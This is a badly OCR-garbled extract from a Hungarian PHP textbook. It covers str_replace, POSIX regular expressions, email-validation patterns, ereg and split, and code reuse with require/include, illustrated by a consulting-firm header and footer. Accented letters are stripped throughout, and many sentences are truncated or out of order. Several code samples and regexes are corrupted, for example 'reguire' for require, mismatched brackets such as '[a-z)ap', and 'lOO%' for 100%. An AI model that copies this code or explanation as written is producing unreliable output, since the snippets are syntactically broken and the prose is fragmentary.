adhaljuk a cserlend szavak tmbjt, az ezeket cserl szavak tmbjt, illetve azon karakterlncok tmbjt, amelyekre a csert alkalmazni kvnjuk. A fggvny ezt kveten az tdolgozott karakterlncok tmbjt adja vissza.
Mivel az emberek reklamlsra is hasznlhatjk intelligens rlapunkat, nyomdafestket nem tr szavak is elfordulharnak
zeneteikben. Programozknt megakadlyozhatjuk, hogy Bob klnbz rszlegeit brmilyen mdon zaklassk, ha a srt kifejezseket sszegyjtjk egy $nyomdafesteket_ nem_turo nev tmbben. Nzzk a pldt az str_replace() fggvny tmbbel trtn alkalmazsra:
$uzenet
=
str_replace( $nyomdafesteket_nem_turo,
'
% ! @*', $uzenet) ;
A substr_replace() fggvny pozcija alapjn keresi meg s cserli ki egy karakterlnc adott rszsztringjt.Az albbi prototipussal mkdik: string substr_replace(string sztring,
string csere, int start, int [hossz]
);
A fggvny a csere sztringre cserli le asztring karakterlnc egy rszt. Hogy pontosan melyik rsz lesz lecserlve, azt
utols karaktert:
$teszt = substr_replace($teszt,
'X',
-l);
A hossz opcionlis rtk, s azt a pontot hatrozza meg, ahol a PHP abbahagyja a csert. Ha nem hatrozzuk meg rt
Ha a teszt rtke nulla, akkor a cseresztring a meglv karakterlnc fellrsa nlkl lesz beszrva. A pozitv teszt rt
kek az j karakterlncra lecserlni kvnt karakterek szmt jelentik, a negatv tes zt rtkek pedig azt a- karakterlnc vgrl
szmtott- pontot hatrozzk meg, ahol a karakterek cserjt abba kvnjuk hagyni.
gatj a a PHP, s az 5.3-as verzitl kezdve a Perl (PCRE) tpus nem kapcsolhat ki. Itt azonban az egyszerbb POSIX stlust
84
4. fejezet
Megjegyzs: A POSIX regulris kifejezsek knnyebben s gyorsabban elsajtthatk, m a binris adatokat nem mindig helyesen kezelik (nem "binary safe" kifejezsek). A mintaillesztsekhez idig szeringkezel fggvnyeket hasznltunk. Pontos egyezsgre vagy rszsztringek pontos egyez
sgre voltunk korltozva. Ha sszetettebb rnintaillesztsre van szksgnk, regulris kifejezseket kell hasznlnunk. A regul ris kifejezsek mkdst elsre nem knny megrteni, de alkalmazsuk rendkivl hasznos tud lenni.
Azalapok
A regulris kifejezsek szvegdarabban lev rnintk lersnak egy mdszert jelentik. Az eddig ltott pontos egyezsg a regulris kifejezsek egyik formja. Korbban pldul olyan regulris kifejezsekre kerestnk, mint a "bolt" vagy a " kis z ll ts". A regulris kifejezsek illesztse PHP-ben sokkal inkbb egy strstr ( ) illesztshez, mintsem egyenlsg megllaptshoz hasonlt, rnivel valahol egy msik karakterlncon belli sztringet illesztnk. (Ha mskppen nem hatrozzuk meg, akkor a ka rakterlncon bell brhol lehet.) A "bolt" karakterlnc pldul megfelel a "bolt" regulris kifejezsnek. Ugyangy megfe lel az "o", "ol" stb. regulris kifejezseknek is. A karakterek pontos illesztsn tlmenen klnleges karaktereket hasznlva jellhetnk rtelmezsi tartomnyokat. K lnleges karakterekkel jellhetjk azt, hogy az adott rnintnak a karakterlnc elejn vagy vgn kell elfordulnia, a rninta egy rsze ismtldhet, vagy a mintban lv karaktereknek adott tpusnak kell lennik. Klnleges karakterek literlis elfordul saira is illeszthetnk. A kvetkezkben ezen lehetsgeket fogjuk ttekinteni.
regulris kifejezs pldul egyebek kztt a "lap", "nap" s "pap" karakterlncnak felel meg. Az ilyen dzskerkarakter-il leszrst gyakran hasznljk az opercis rendszer fjlneveinek keressre. A regulris kifejezsekkel azonban sokkal konkrtabban megadhatjuk a kivnt karakterilleszts tpust, s pontosan meg adhatjuk, milyen karakterkszleebe kell az adott karakternek tartoznia. Az elz pldban lv regulris kifejezs nem csak a "nap" s a "pap" sznak felel meg, hanem a" itap" karakterlncnak is. Ha a s z kztti karakterre szeremnk korltozni, a kvetkezkppen kell meghatroznunk:
[a-z)ap
A szgletes zrjelek ( [ s J ) ltal kzrefogott valami egy karakterkszlet A kszletet felsorolssal is megadhatjuk; az
[aeiou)
lesztett karakternek tartoznia kell. Fontos, hogy a szgletes zrjelben lv kifejezshez csak egyetlen karakter illeszkedhet.
kszlet pldul az angol bc magnhangzit tartalmazza. Meghatrozhatunk tartomnyt, ahogy tettk azt az imnt a klnleges ktjellel vagy tartomnyok kszlett, pldul gy:
[a-zA-Z)
Ezek a tartomnyok a kis- s nagybets alfabetikus karaktereket fedik le. Kszletek segtsgvel azt is megadhatj uk, hogy a karakter ne legyen az adott kszlet tagja. A
[A a-z]
kszlet pldul a nem az a s z kz es karaktereket foglalja magban. A szgletes zrjeleken bell elhelyezett beszrsi jel
( ) nem et jelent. A szgletes zrjeleken kvl ms jelentssei br, rvidesen azt is megvizsgljuk.
A
A kszletek s tartomnyok felsorolsa mellett elre meghatrozott karakterosztlyokat is hasznlhatunk a regulris kifejez sekben. A 4.3 tblzat ezeket az osztlyokat mutatja.
4.3 tblzat: POSIX stlus
Osztly
[[:alnum:)) [[:alpha:]) [ [ : lower: ll
85
Osztly
[[:upper:l l [[:digit:]] [[: xdigit: ll [[:punct: ll [ [ :blank: ll [ [ :space: ll [[:cntrl:)) [[:print:l l [[:graph:]]
Nagybetk Decimlis szmjegyek rfexadecnlis szrrYegyek rsjelek Tabultorak s szkzk Fehrkz karakterek Vezrl karakterek Minden nyomtathat karakter A szkz kivtelvel minden nyomtathat karakter
Ismtlds
Gyakran azt is meg szeretnnk hatrozni, hogy egy adott karakterlnc vagy karakterosztly tbb elfordulsa lehetsges. Kt klnleges karakter ll rendelkezsnkre, hogy regulris kifejezsnkben jelezzk ezt. A azon rsze utn kell elhelyezni, amire vonatkozik. Az
[[:alnum:))+
*
ta nulla vagy tbb, a + szimblum azt, hogy egy vagy tbb alkalommal ismtldhet. A szimblumot a kifejezs kzvetlenl
Rszkifejezsek
A kifejezsek rszekre bontsnak kpessge lehetv teszi, hogy meghatrozzuk pldul a kvetkezket:.,ezen karakterlncok kzill legalbb egyet pontosan ez kvet': A kifejezseket zrjelekkel tudjuk felbontani - pontosan gy, ahogy matematikai kifejezsek esetn hasznljuk ket. Ennek megfelelen a
(nagyon ) *nagy
regulris kifejezsnek pldul a .,nagy", .,nagyon nagy", .,nagyon nagyon nagy" stb. karakterlncok felelnek meg.
Szmolt rszkifejezsek
Kapcsos zrjelek ( { } ) kz rt szmszer kifejezssel meghatrozhatjuk, hny ismtlds lehetsges. Megadharjuk az ismt ldsek konkrt szmt (a {3} pontosan hrom ismtldst jelent), ismtldsek tartomnyt (a {2, ldse jelent), illetve ismtldsek nyltvg tartomnyt (a {2, } legalbb kt ismcldst jelent). A
(nagyon} {l,
4} kett-ngy ismt
3}
"
Az albbi mintnak pedig azok a karakterlncok felelnek meg. ahol a com a sztting vgn helyezkedik el:
com$
86
4. fejezet
gaztats
A regulris kifejezsen belli vlasztsi lehetsget fuggleges vonallal jelljk. A com, ed u vagy net domainvgzdsnek pl dul az albbi kifejezs felel meg:
comledulnet
Karakter
\ $
Jelents
Kiemel karakter A karakterlnc elejnl trtn illeszts A karakterlnc vgnl trtn illeszts jsor karakter (\n)kivtelvel brmilyen karakterhez illeszts Alternatv elgazsok kezdete (VAGY-knt olvasand) Rszrninta kezdete Rszminta vge
Ismtls nulla vagy tbb alkalommal Ismtls egy vagy tbb alkalommal Min./max. mennyisgjelz kezdere Min./max. mennyisgjelz vge
4.5
tblzat: POSIX regulris kifejezsekben szgletes zrjeleken bell hasznlt, klnleges karakterek sszefoglalsa Karakter
\
Jelents
Kiemel karakter NEM- csak kezd pozciban hasznlhat Karaktertartomnyok meghatrozsra hasznlhat
87
A msodik alkalmazsi lehetsg az gyfl e-mail cmnek ellenrzse. Ehhez regulris kifejezsbe kdoljuk az e-mail cmek szabvnyostott formtu mt. A formtum a kvetkezkppen pl fel: alfanumerikus karakterek vagy rsjegyek soro zata, ezt kveti egy
@ szimblum, majd egy alfanumerikus karakterekbl s ktjelekbl ll karakcerlnc, egy pont, ismt
alfanumerikus karakterekbl s ktjelekbl ll sztring, megint egy pont, majd jra karakterlnc; ez utbbi kett tbbszr ismtldhet. A kvetkezkppen kdolhaguk ezt:
'[a-zA-ZO-9 \-.l+@ [a-zA-ZO-9\-l +\. [a-zA-ZO-9\-.l+$ _ A A[a-zA-Z O -9 \- . l + rszkifejezs azt jelenti, hogy "legalbb egy betbl, szmbl, alulvonsbl, ktjelbl, pontbl _
vagy ezek tetszleges kombincijbl ll karakterlnc: rdemes megjegyezni, hogy amikor a pontot karakterosztly elejn vagy vgn hasznljuk, elveszti klnleges dzskerkarakter jelentst, s egyszer pontt vlik. A @ szimblum a literlls @ jelnek felel meg.
A [a-zA-ZO-9\-]+ rszkifejezs a hosztnv els, alfanumerikus karaktereket s ktjeleket tartalmaz rszt jelkpezi. Fi gyeljk meg, hogy a ktjelet visszaperjellel kiemeltk, mivel szgletes zrjeleken bell a ktjel klnleges karakternek minsl! A \. kombinci egyszer pontnak (.) felel meg. Karakterosztlyokon kvl hasznljuk a pontot, gy ki kell emelnnk ahhoz, hogy csak az egyszer (literlis) pontnak feleljen meg. A domainnv tbbi rszt a [a-zA-ZO -9\-\ .]+$ rszkifejezs jelkpezi, amely betket, szmokat, ktjelet s szksg esetn tbb pontot is tartalmaz a karakterlnc vgig. Nmi gondolkods utn belthat, hogy el tudunk lltani olyan e-mail cmeket, amelyek illeszkednek ehhez a regulris kife jezshez, mgis rvnytelenek. Szinte lehetetlen minden hamis e-mail cmer kiszrni, m ezzel az ellenrzssei valamennyit javt hat a helyzet. Sokflekppen linomithatjuk ezt a kifejezst. Felsorolhaguk pldul a legfels szint tartomnyneveket
l4
(TOL).
gyeljnk azonban, amikor tovbb szkgk a megfelelsget, mert egy olyan ellenrz fggvny, amely az rvnyes adatok akr csak l szzalkt is kiszri, sokkal zavarbb lehet, mint egy olyan, amely tenged akr 10 szzalknyi rvnytelen adatot is. Most, hogy alapsznten megismerkedtnk a regulris kifejezsekkel, kszen llunk arca, hogy megvizsgljuk az azokat hasz nl PHP fggvnyeket.
POSIX srlus regulris kifejezsek illesztsre az e reg () s az e regi ().Az ereg () fggvny prototipusa a kvetkez: A fggvny kereses helye karakterlncban keres a minta regulris kifejezsnek megfelel sztringet. A minta rszkife
string kereses helye, _ array [talalatok]);
jezseire add tallatok esetn a fggvny a talalatok tmbben trolja azokat, tmbelemenknt egy rszkifejezst. Az eregi() fggvny teljes mctkben hasonlan mkdik azzal a kivtellel, hogy nem tesz klnbsget a kis- s nagybe
tk kztt.
s prblkezzon jra!<lp>";
"kiskereskedelem@pelda.com"; $uzenet))
else if (eregi("kiszllitslteljesits",
=
else if (eregi("szmla",
=
88
4. fejezet
if (eregi("nagyugyfel\.com", $cimzett
=
$email))
"bob@pelda.com";
A fggvny a minta regulris kifejezst keresi a kereses_helye karakterlncban,s a tallatokat a csere szrringre cserli. Az eregi_replace() mkdse ezzel szinte teljesen megegyez, m nem tesz klnbsget a kis- s nagybetk kztt.
A fggvny a minta regulris kifejezs alapjn rszsztringekre bontja a kereses_helye karakterlncot,s tmbben adja vissza a rszsztringeket.A max egsz szmmal korltozhatjuk a tmbbe kerl elemek szmt. A fggvnyt hasznlhatjuk pldul e-mail cmek,domainnevek vagy dcumok sztbontsra. Tekintsk a kvetkez pldt:
split ("\.1@",
$eim);
while (list($kulcs,
az
com
Megjegyzs: ltalnossgban megllapthat, hogy a regulris kifejezsek fggvnyei kevsb hatkonyan Jutnak le, mint a ha
sonl funkcij sztringkezelJggvnyek. Amennyiben Jeladatunk kellen egyszer ahhoz, hogy sztringkifejezs hasznlatval megoldjuk, tegynk gy! Ez nem szksgszeren rvnyes azokra az egyetlen regulris kifejezs fggvnnyel elvgezhet felada tokra, amelyekhez msklnben tbb sztringkezelfggvnyre lenne szksg.
Tovbbi olvasnival
A PHP szmtalan szeringkezel fggvnnyel rendelkezik. Ebben a fejezetben csak a legfontosabbakat trgyalruk, de ha kln [eges ignynk van (pldul cirill karakterekre alakts), a PHP online kziknyvben ellenrizhetjk, hogy ltezik-e szmunk ra megoldst jelent fggvny. A regulris kifejezsek tmakrben bsges irodalomban vlogathatunk. Ha Unixor hasznlunk, kezdherjk a kutatst a regexp ma n oldaln,s kivl rsokat tallunk a devshed.com s phpbuilder.com cmen is. A Zend w eboldaln az itt fejlesztettnl sszetettebb s hatsosabb e-mail-ellenrz fggvnyt is tallunk. Neve
MailVal (),s a
Nmi idre van szksg. amg kellen elmlylnk a regulris kifejezsekben; minl tbb pldt nznk meg s futtatunk, annl biztosabb vlunk hasznlarukban.
Hogyan tovbb?
A kvetkez fejezetben tbb mdszert is megismernk arra, hogyan lehet meglv kd tbbszri felhasznlsval programoz si idt s energit megsprolnunk, illetve elkerlnnk a redundancit.
5
Kd tbbszri felhasznlsa s fggvnyrs
A fejezetbl kiderl, hogyan lehet meglv kddarabok tbbszri felhasznlsval egysgesebb, megbzhatbb, kezelhetbb progra mot rni. Radsul azt is Jmi fogjuk, hogy ezzel nem kevs munktl kmlhetjk meg magunkat. Bemutatjuk a kd modulriss ttelnek s tbbszri felhasznlsnak klnbz mdszereit, kzrk a require () s include () utasts egyszer hasznlatr, ami lehetv teszi, hogy egynl tbb weboldalon alkalmazzuk ugyanazt a kdot. Elmagyarzzuk, mirt jobbak ezek a beillesztsek a szerveroldaliaknl. A fejezetben bemutatott plda f:ijlbeillesztsek ltal teszi egysgess a teljes honlap megjelenst s hasznlatr. Oldal- s rlapkszt fggvnyek pldjn kereszrl azt is megrodhatj uk, hogyan lehet sajt fggvnyeinket lttehozni s meghvni. A fejezetben az albbi fbb tmakrket trgyaljuk:
0 0
Kd tbbszri felhasznlsnak elnyei A require () s az include () utasts hasznlata Ismerkeds a fggvnyekkel Fggvnyek definilsa Paramterek hasznlata A hatkr fogalmnak megismerse rtk visszaadsa Cm s rtk szerinti paramtertads Rekurzi megvalstsa Nvrerek hasznlata
o o 0 o o
kltsgek, javul a megbzhatsg, s egysgesebb lesz a program. j projekt ltrehozsa idelis esetben meglv s tbbszr
felhasznlhat alkotelemek kombinlst jelenti, amit a lehet legkevesebb jonnan rt kd egszt ki.
Kltsg
Minden szaftver hasznos lertartama alatt sokkal tbb idt fordtanak fenntartsra, mdostsra, tesztelsre s dokumen tlsra, rnint amennyit eredetileg megrsval tltrtek. Amennyiben zleti clra fejlesztnk, trekednnk kell arra, hogy kor ltozzuk az adott cgnl vagy szervezetnl hasznlatban lv kdsorok szmt. Ezt a clt legpraktikusabban gy teljesthetjk, ha ahelyett, hogy minden egyes feladathoz teljesen j kdot rnnk, igyeksznk meglv kdjainkat vagy programrszleteinket jbl felhasznlni. A kevesebb kd alacsonyabb kltsget jelent. Ha meglv szoftver megfelel az j projekt kvetelmnyeinek, szerezzk be azt! Meglv szoftver megvsrlsnak a kltsge szinte mindg alacsonyabb, rnint egy azzal egyenrtk termk kifejleszts. vatosan bnjunk azonban az olyan esetekkel, amikor egy meglv szoftver majdnem megfelel szmunkra! Meg lv kd mdostsa sokszor bonyolultabb feladat, mint j kd rsa.
Megbzhatsg
Ha valamely kdmodul mr hasznlatban van az adott szervezeml, akkor korbban feltehetleg mr gondosan teszteltk azt. Ha ez a modul csak nhny sornyi kdot tartalmaz, mg akkor is fennll a lehetsge, hogy jrarsa esetn elkerli figyelmn-
90
5. fejezet
ket valami aprsg,amivel az eredeti szerz kiegsztette, vagy amit a tesztels alatt szrevert brmilyen hiba miart hozzadtak. A meglv, kiforrort kd jellemzen megbzhatbb, mint a friss, mg.,retlen':
Egysgessg
A rendszernkhz kapcsold kls csarolfelleteknek, gy a kezelfelleteknek s a kls rendszerekre mutat felleteknek egyarnt egysgesnek kell lennik. A rendszer tbbi rsznek mkdshez illeszked j kd megrshoz elhatrozsra s, bizony, nem kevs munkra van szksg. Amennyiben a rendszer msik rszt futtat kdot hasznlunk fel, akkor az egysges mkds automatikusan addik. Mindezen elnyk mellett nem elhanyagolhat az sem, hogy a meglv kd tbbszri felhasznlsa kevesebb munkval jr, feltve persze, hogy az eredeti kd modulris s jl megrt. Munknk sorn prbljuk meg beazonostani azokat a kdrszlete ket, amelyeket esetleg a ksbbiekben jbl meghvharunk!
leszteni. Az eddig emltert pldkban-honlap fejlce s lblce - ennek a funkcinak nem volt klnsebb jelentsge. Akkor
vlik hasznoss, amikor a requ ire (} s inelude (} utastsokkal fggvnyek knyvtrait kezdjk el beilleszteni. Az utas tsok ezen varinsaival elkerlhet, hogy vletlenl ktszer illesszk be ugyanazt a fggvnyknyvtrat, hiszen azzal jradefini lnnk a fggvnyeket, ami hatatlanul hibt eredmnyezne. Amennyiben kellen figyelmesek vagyunk kdolsi gyakorlarunk ban,jobban jrunk a require (} vagy az include (} hasznlatval, mivel ezek az utastsok gyorsabban hajtdnak vgre.
'ujrahasznalhato.php'
};
Ha betltjk az uj rahasznalhato.php fjlt, nem meglep mdon az Ez it t egy nagyon egyszer brn lthatjuk.
tlf ______ ....,..
PHP
utasts. szveg jelenik meg bngsznkben. A fo.php betltsekor valami rdekesebb trtnik. A kd kimenett az 5.1
-:.=.;.;
lloo
91
A require ( ) utasts hasznlathoz fjira van szksg. Az elz pldban az ujrahasznalhato. php nev llomnyt hasznltuk. Amikor futtatjuk a kdot, a
require( 'ujrahasznalhato.php' )
utasts helyt a krt fjl tartalma veszi t, majd vgrehajtdik a kd. Ez azt jelenti, hogy amikor betltjk a fo. php fjlt, gy fut le, mintha a kd a kvetkezkppen lenne megrva: <?php
echo " Ez a f6 fjl.<br
/>";
PHP
utasts.<br />";
/>";
A require () hasznlatakor figyelembe kell vennnk a fjlnvkiterjesztsek s a PHP cmkk (tag) kezelse kztti k lnbsget. A PHP-t nem rdekli a krt fjl fjlnvkiterjesztse. Ez azt jelenti, hogy tetszleges nevet adhatunk fjlunknak - feltve, hogy nem tervezzk kzvedenl meghvni. Amikor a require ( ) utastst hasznljuk a fjl betltsre, az lnyegben egy PHP fjl rszv vlik, s ekknt hajtdik vgre. Amennyiben a PHP utastsok pldul egy oldal.html nev fjlban lennnek eltrolva, akkor alaphelyzetben nem kerlnnek feldolgozsra. A PHP-t jellemzen csak a meghatrozott, pldul . php Iciterjeszts fjlok feldolgozsra uta srjuk. (Ezt mdosthatjuk webszervernk konfigurcis fjljban.) Ha viszont require () utasrson keresztl tltjk be
az oldal.html
fjlt, az abban lev sszes PHP utasts fel lesz dolgozva. gy brmilyen, neknk tetsz kiterjesztst hasznl
harunk a f:ijlok beillesztsre, m rdemes ragaszkodni az . inc vagy a . php kiterjeszts hasznlathoz. Nem rt tudni, hogy ha . inc vagy ms, nem szabvnyos kiterjesztssei vgzd f:ijlokat trolunk a webes dokumentumfban, s a felhasznJk kzveclenl betltik azokat a bngszbe, egyszer szvegknt fogjk Jmi a kdot, s benne az esetleges jelszava kat. ppen ezrt fontos, hogy a beillesztett fjlokat a dokumentumfn kvl troljuk, vagy szabvnyos kiterjesztseket hasznljunk. Megjegyzs: A pldban az jrafelhasznlhat fjlt (ujrahasznalhato.php) a kvetkezkppen rtk meg:
<?php echo "Ez itt egy nagyon egyszer PHP utasts.<br
/>";
?> A PHP kdot PHP cmkk kztt helyeztk el a f:ijlba. Ehhez a szablyhoz neknk is ragaszkodnunk kell, ha azt sze retnnk, hogy a krt fjlban lv PHP kd akknt legyen kezeive. Ha nem nyitunk PHP cmkt, kdunk szvegknt vagy HTML-knt lesz kezeive, s nem hajtdik vgre.
liZI!
TLA Consultmg
t!J!IIII
TlACncanghonlltA6nii<*JfktD!pllilosiCMI.61S1111!1Je1'1'18QctgOrQCI N.aztelleOrtiSIIOIIOCI
_..,, 1 . .... .. ... .. ........ .. .. ".
5.2 bra: A TLA Consuiting honlapjnak minden oldala egysges kpet mutat. Gondoljunk bele az albbi helyzetbe: a honlapot mr j ideje hasznljk, gy a cg most tbb tz, szz vagy akr ezer, ugyan olyan stlust kvet oldallal rendelkezik. Az a dnts szletik, hogy rszben mdostank a honlap megjelenst; a vltoztats
92
5. fejezet
lehet egszen apr, pldul egy e-mail cm hozzadsa a minden egyes oldal aljn lthat lbrszhez vagy j elem hozzadsa a navigcit lehetv tev menhz. J lenne, ha ezt az aprbb mdostst tbb tz, szz vagy akr ezer oldalon vgre kellene haJtanunk A rninden oldalon megtallhat HTML szakaszok jbli hasznlata sokkal jobb megkzeltsi md, mint tbb tz, szz vagy akr ezer oldalon vgrehajtani a msols-beilleszts monoton lpseit. Az 5.2 brn lthat nyitoldal ( kezdolap. html) for rskdja az 5.1 pldakdban lthat. 5.1 pldakd: kezdalap.html -A TLA Consuiting nyitoldalt elllt HTML kd
<html> <head> <title>TLA Consulting Pty Ltd</title> <style type="text/css"> hl {color:white; font-size:24pt; text-align:center;
text-align:justify;
{color:white}
<!-- oldal fejrsz --> <table width="lOO%" cellpadding="l2" cellspacing="O" border="O"> <tr bgcolor="black"> <td align="left"><img src="logo.gif" alt="TLA logo" height="70" width="70"></td> <td> <hl>TLA Consulting</hl> </td> <td align="right"><img width="70"></td> </tr> </table> <1-- men --> <table width="lOO%" <tr > <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20"> <span class="menu">Kezd6lap</span></td> <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20"> <span class="menu">Kapcsolat</span></td> <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20"> <span class="menu">Szolgltatsok</span></td> <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20"> <span class="menu">Oldaltrkp</span></td> bgcolor="white" cellpadding="4" cellspacing="4"> src="logo.gif" alt="TLA logo" height="70"
93
</tr> </table>
<!-- oldal lblc --> < table widt h="lOO%" bgcolor="black" cellpadding="l2" border="O"> <tr> <td> <p class="foot">© <p class="foot">Krjk, TLA Consulting Pty Ltd.</p> olvassa el honlapunk
Az 5.1 pldakdban lthatjuk, hogy a fjl szmos elklnl kdrszletbl ll. A HTML fejrsz az oldal ltal hasznlt caseaciing scyle sheet-
vet s a logt, a.,men" az oldal navigcis svjt, az"oldal tartalom'' az adott oldal egyedi szvegr jelenti meg. Ez alatt rallha t az oldal lblce. rdemes felosztani ezt a fjlt, s a rszeinek a fejlee.php, kezdelap.php s lablec .php nevet adni. A fejlee.php s a l ablee.ph p is olyan kdot tartalmaz, amelyet a klnbz oldalakon jra s jra felhasznlhatunk. A kezdelap. php fjl tveszi a kezdelap. html helyt: ahogy az 5.2 mintakdbl ltjuk, tartalmazza az egyedi oldaltartalmat s a kr reguire () utastst. 5.2 pldakd: kezdelap. php-A TLA nyitoldalt elllt PHP kd
<?php reguire('fejlec.php'); ?> <!-- oldal tartalom --> <p>Kszntjk a TLA Consulting honlapjn! Krjk, sznjon r kis idt, s ismerje meg cgnket1</p> remljk,
A kezdelap. php fjlban lv reguire ( ) utastsok a fejlee.php s lablec. php fjlt tltik be. Ahogy korbban mr jeleztk, az ezeknek a fjloknak adott nv nincs hatssal arra, hogyan lesznek feldolgozva a reguire () utasts ltali meghvsuk esetn. Bevett szoks, hogy a ksbb ms fjlokba heilleszrend llomnyoknak
a
valami.inc nevet adjk (az inc itt az include, azaz beilleszts szra utal). ltalnossgban nem ajnljuk ennek kvet
st, mivel az .inc fjlok csak akkor rtelmezdnek PHP kdknt, ha a webszerveren ezt kifejezetren belltottk. Ha mgis gy tesznk, a heillesztsi llomnyainkat olyan knyvtrba helyezzk el, amit kdjaink ltnak ugyan, de az nem engedlyezi a heillesztsi fjlok webszerveren keresztli, egyenknti betltst. Ez azt jelenti, hogy ennek a knyvtrnak a we bes dokumentumfn kivl kell elhelyezkednie. Azrt kvetend ez a stratgia, mert megakadlyozza e fjlok egyenknti betl tst, ami (a) hibkat eredmnyezne, ha a fjlkiterjeszts .php, de a fjl egy oldalnak vagy kdnak csak egy rszr tartalmazza, vagy (b) egyb kiterjeszts hasznlata esetn msok szmra olvashatv teszi a forrskdot.
94
5. fejezet
A fejlee.php fjlban az oldal ltal hasznlt CSS defincikat, illetve a cgnevet s a menelemeket tartalmaz tblzato kat talljuk {lsd 5.3 pldakd l). 5.3 pldakd: fejlee.php
<html> <head> <title>TLA Consulting Pty Ltd</title>
-Az sszes
TLA-oldal
text-align:justify;
{color:white}
<!-- oldal fejlc --> <table width="l00%" cellpadding="l2" cellspacing="O" border="O"> <tr bgcolor="black">
<td align="left"><img src="logo.gif" alt="TLA logo" height="70" width="70"></td> <td> <hl>TLA Consulting</hl> <ltd> <td align="right"><img src="logo.gif" alt="TLA logo" </tr> </table> height="70" width="70" /></td>
<!-- men --> <table width="lOO%" bgcolor="white" cellpadding="4" cellspacing="4"> <tr > <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20" /> <span class="menu">Kezd6lap</span></td> <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20" /> <span class="menu">Kapcsolat</span></td> <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20" /> <span class="menu">Szolgltatsok</span></td> <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20" /> <span class="menu">Oldaltrkp</span></td> </tr> </table>
A lablec. php fjl az egyes oldalak aljn lthat lblcet megjelent tblzatot tartalmazza. A fjlban lv kd az 5.4 pldakdban olvashat.
95
-Az sszes
TLA-oldal
<table width="100%" b gcolor="black" cellpadding="12" border="O"> <tr> <td> <p class="foot">© <p class="foot">Krjk, TLA Consulting Pty Ltd.</p> olvassa el honlapunk<a href="legal.php">
Ezzel a megkzeltssel igen egyszeren kapunk egysges megjelens weboldalt, s pldul az albbi szveg begpelsvel knnyedn ltrehozhatunk egy j, a tbbivel megegyez stlus oldalt:
<?php require ('fejlee.php') ; ?> Ide kerl ennek az oldalnak a tartalma <?php require ( 'lablec. php') ; ?>
Ami taln a legfontosabb: miutn szmtalan oldalt ltrehoztunk ezzel a fejlccel s lblccel, knnyedn mdosthatjuk a fej lc s a lblc fjljait. Akr apr szvegvltozatsrl van sz, akr teljesen talaktjuk az oldal megjelenst, csak egyszer kell vgrehajtani a mdostst. Nem kell a honlap minden egyes oldalt egyenknt megvltoztatni, mivel minden oldal a fejlc- s lblcfjlokkal tltdik be. Az itt bemutatott plda csak egyszer HMTL-t hasznl a trzsben (body), fejlcben s lblcben. Nem felttlenl mindig
ez
a helyzet. Az oldal rszeinek dinamikus ellltsra hasznlhatnnk PHP utastsokat is ezekben a fjlokban. Ha szeretnnk biztosak lenni abban, hogy valamely fjlt egyszer szvegknt vagy HTML-knt kezelnk, s semmilyen
readfile ( )
szben tartani ezt a biztonsgi vintzkedst, amennyiben felhasznltl szrmaz szveggel dolgozunk.
l 5
'
Az
a uto_prepend_file
require
php. ini
belltjuk, hogy ezek a fejlc- s lblcfjlokra mutassanak, azt rjk el, hogy rninden oldal eltt s utn betltdnek.
Az gy beillesztett fjlok gy viselkednek, mintha az include () utastssal lettek volna hozzadva; vagyis hinyz fjl esetn
/home/username/include/lablec.php"
Amennyiben ezeket a belltsokat hasznljuk, nem kell begpelnnk az include () utastsokat, m ekkor a fejlcek s lblcek tbb nem opcionlis elemek lesznek az oldalakon. Ha Apache webszervert hasznlunk, knyvtranknt adhatjuk meg az ilyen kon6gurcis belltsokat. Ehhez be kell llta nunk kiszolglnkat, hogy engedje f kon6gurcis fjljnak vagy fjljainak a fellrst. Hogy belltsuk valamely knyvtrnl
az
automatikus el- s utncsatolst (prepend s append), hozzunk ltre benne egy . htaccess nev fjlt! Ennek az llo
Figyeljk meg, hogy a szintaktika kiss eltr ugyanennek a belltsnak a php.ini-beli vltozattl: a sor elejn a php_
value
tallhat, illetve nincsen egyenlsgjel. Szmos ms php.ini kon6gurcis bellts is mdosthat gy.
96
5. fejezet
Azzal, hogy a bellirsokat a php. ini llomny vagy a webszerver-konfigurcis fjl helyett a . htaccess llomnyban adjuk meg, rugalmasabban dolgozhacunk. Megosztott gpen gy mdosthatjuk a belltsokat, hogy az csak a sajt knyv trainkra vonatkozzon. Nem szksges jraindtani a webszervert, s nincs szksgnk rendszergazdai hozzfrsre sem. A . htaccess mdszer htrnya, hogy a fjlok sorsa nem csak elindulskor, hanem a knyvcrban lv brmely fJl lekrse esetn is a beolvass s a feldolgozs, gy e rugalmassg ra a teljestmny cskkense lehet.
Fggvnyhvs
Az albbi sorban a lehet legegyszerbb fggvnyhvsr ltjuk:
fuggveny_nev();
Ez a kdsor a fuggveny _nev nev, paramtert nem ignyl fggvnyt hvja meg. Nem foglalkozik a fggvny ltal esede gesen visszaadott rtkkel sem. Szmos fggvnyt pontosan ezen a mdon hvunk meg. Tesztelshez gyakran jl jn a phpinfo() fggvny, mert meg jelenti a teleptett PHP verziszmt, informcit ad a PHP-rl, a webszerver belltsrl, illetve kirja klnbz PHP s szervervltozk rtkr. Ez a fggvny paramtert nem fogad, s jellemzen figyelmen kvl hagyjuk a visszatrsi rtkr, gy
A legtbb fggvny azonban egy vagy tbb paramtert vr - ezek a fggvnyek inpugai, azaz bemeneti adatai. A param terek tadsa gy trtnik, hogy az adatot vagy az azt tartalmaz vltoz nevt a fggvnynv utni zrjelek kz helyezzk. Egyetlen paramtert fogad fggvnyt a kvetkezkppen hvhacunk meg:
fuggveny_nev('parameter');
Az itt hasznlt paramter egy, a kizrlag a parameter szt tartalmaz karakterlnc, de a fggvny ltal vrt paramtertl fggen az albbi fggvnyhvsok is megfelelk lehetnek:
fuggveny_nev(2); fuggveny_nev(7.993); fuggveny_nev($valtozo);
Az utols sorban lthat $valtozo brmilyen tpus PHP vltoz lehet, akr tmb vagy objektum is. A paramterek brmilyen adattpusak lehetnek, de egy adott fggvny ltalban meghatrozott adattpust vr. A fggvny prototpusbl kiderl szmunkra, hogy a fggvny hny paramtert vr, mit jelkpeznek ezek a paramterek, s milyen adattpusak kell, hogy legyenek. Knyvnkben az egyes fggvnyek bemutatsnl gyakran megadjuk prototpusukat is. Az fopen () fggvny prototpusa a kvetkez:
resource fopen ( string fajlnev, string mod
[,
[,
resource kezelesi_mod]])
